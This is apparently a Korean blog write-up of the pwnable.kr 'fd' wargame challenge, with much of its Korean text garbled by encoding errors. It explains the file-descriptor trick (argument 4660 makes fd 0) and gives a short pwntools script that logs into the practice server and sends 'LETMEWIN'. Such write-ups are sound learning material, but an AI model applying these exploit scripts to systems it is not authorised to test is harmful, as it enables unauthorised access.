[Toddle]fd
fd_WriteUp
๋ณด์๋ฉด.. ์๋ง! ๋ฆฌ๋
์ค ํ์ผ ๋์คํฌ๋ฆฝํฐ(fd)์ ๋ํ์ฌ ์์๋ณด๊ณ ์ถ์ด์~ ๋ผ๊ณ ํ๋ค์(ํจ๋๋ฆฝ..)
ssh๋ก ์ฐ๊ฒฐํด์ ํ๋๊ฑด๋ฐ ํ์ผ ๋ฐ์์ ํ๋๊ฒ ์ข๊ฒ ์ฃ ? ๊ทธ๋์ ๋ฐ๋ ๋ฐฉ์์ด SCP๋ก์จ..
๋ฆฌ๋ ์ค scp ์ฌ์ฉ๋ฒ - ์ ํ์ํค
๋ค์ ๋ฌธ์์ด ํฌํจ...
zetawiki.com
์ ๋ช
๋ น์ด๋ ์ด๋ฏธ์ง๋ฅผ ๋ณด์๊ณ ํ์๋ฉด ๋ฉ๋๋ค..
(์ฐธ๊ณ ๋ก ํ์ผ ์ ์ฒด๋ฅผ ๋ฐ๋๊ฒ.. ์ ์๋์ ๋ฐ๋ก ๋ฐ๋ก ํ๋๋ฐ ใ
)
ํด๋น C file์ ์ดํด๋ณด๋ฉด.. 6๋ฒ์งธ๋ฅผ ๋ณด์๋ฉด ์ธ์์์ 2๊ฐ ์ด์์ผ๋ก ์ ๋ฃ์ผ๋ฉด ์๋ฌ๋ฅผ ํ ํ๊ณ ..
๊ทธ๋ฌ๋ฏ๋ก argv์ ํ๋๋ง ๋ฃ์ต๋๋ค(์ด์งํผ argv[1]์ path์ด๊ธฐ ๋๋ฌธ์ด์ฃ )
len์์ read์ ํจ์๋ฅผ ์
๋ ฅํ ๊ฑฐ๊ธฐ์ read์ fd๋ 0์ด์ฌ์ผ ์
๋ ฅ์ ๋ฐ์ต๋๋ค.
์ฌ๊ธฐ์ fd(atoi๋ก ascii to integer)๋ก ํ๊ธฐ์ str๋ก ๋ณด๋ด๊ณ .. ์ดํ๋ buf์ ๋ค์ด๊ฐ๋๊น ๋ญ
๊ทธ๋ฌ๋ฏ๋ก ์ฒซ๋ฒ์งธ ์ธ์์ 0x1234(4660)์ผ๋ก ํด์ผ์ง 0์ผ๋ก fd๋ฅผ ์
๋ ฅ๋ฐ์ต๋๋ค.
๊ทธ๋ฆฌ๊ณ ์
๋ ฅ์ ํ๋๋ฐ buf์.. 13๋ฒ์งธ ์ค์์ LETMEWIN๊ณผ ๋น๊ตํ๋ฏ๋ก ๋ง์ถฐ์ ๋ฃ์ด์ค๋๋ค.
(์ด์ ๋๋ก ๊ฐ๋จํ ๊ตฌ์กฐ์ด๋ฏ๋ก ์ต์ค ์ฝ๋๋ฅผ ์ ์์ฑํด๋ ๋๊ธดํ๋ฐ..)
Exploit code
1234567891011 from pwn import *'''Connection pwnable.kr server'''server = ssh('fd', 'pwnable.kr', 2222, 'guest')p = server.process(['./fd', str(4660)]) #argv(for list) input#context.log_level = 'debug'p.sendline('LETMEWIN')p.interactive()cs
์ ๊ตฌ์กฐ๋ก์จ ์ ํฌ๋ user, host, port, password๋ง ์ฌ์ฉ๋๋ฏ๋ก ํด๋น ๋ฐฉ์์ผ๋ก ์
๋ ฅ
process ๋ถ๋ถ์ ์ ํฌ๊ฐ ์ธ์๋ฅผ ํ๋ ๋ฃ์ด์ผํ๋ฏ๋ก...
์์ ๊ฐ์ด ๋ฐฐ์ด๋ก ๋ฃ์ด์ ํ๋ค์
์ด๊ฑด.. ์ค๋ช ์ํด๋ ๋๊ฒ ์ฃ ?
์ฐธ๊ณ ์๋ฃ
pwnlib.tubes.ssh — SSH — pwntools 4.8.0 documentation
A new SSH channel, or a path to a script if run=False.
docs.pwntools.com
pwnlib.tubes.process — Processes — pwntools 4.8.0 documentation
Parameters: argv (list) – List of arguments to pass to the spawned process. shell (bool) – Set to True to interpret argv as a string to pass to the shell for interpretation instead of as argv. executable (str) – Path to the binary to execute. If None
docs.pwntools.com
Built-in Types — Python 3.8.14 documentation
Built-in Types The following sections describe the standard types that are built into the interpreter. The principal built-in types are numerics, sequences, mappings, classes, instances and exceptions. Some collection classes are mutable. The methods that
docs.python.org
์ฐธ๊ณ ์ด๋ฏธ์ง